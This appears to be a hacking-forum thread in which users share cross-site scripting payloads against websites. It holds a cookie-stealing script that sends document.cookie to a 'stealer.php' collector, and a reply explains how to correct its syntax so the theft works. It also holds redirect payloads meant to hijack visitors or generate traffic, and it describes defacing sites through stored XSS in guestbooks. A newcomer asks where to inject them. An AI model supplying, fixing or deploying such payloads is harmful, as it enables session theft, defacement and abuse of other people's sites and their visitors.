XSS - Ideas

XSS - what can we do with it.

markup<script>document.location=stealer.php?c=document.cookie</script>

Anyone got any other ideas, I'll post some CSRF later when I have time

A personal fave…

<script>document.location='http://www.nanoy.org';</script> but you could always do a simple alert: <script>alert('pwnt…or_whatever!')</script>

;)

mozzer wrote: markup<script>document.location=stealer.php?c=document.cookie</script>

That wouldn't do what you probably want it to. For one thing, quotation marks (single or double) are required around the target location, which is ended after c=. After the location, since you want to include the user's cookie, you should put an addition sign before it. You should also have brackets around the target location (including document.cookie) instead of an equal sign.

In answer to your question, it is also possible to deface sites that have more severe cross-site scripting vulnerabilities (e.g. many guestbook scripts), more specifically sites that have vulnerable fields that are shown back to users after input is received. Some may refer to that as permanent XSS.

markup<script>window.location="http://www.yoursite.com"</script>

Easy way to generate traffic to any site you want.

Im new to webhacking and Im interested in "<script>window.location="http://www.yoursite.com"</script>" where would I input that? In my pages source or in the browser like other techniques.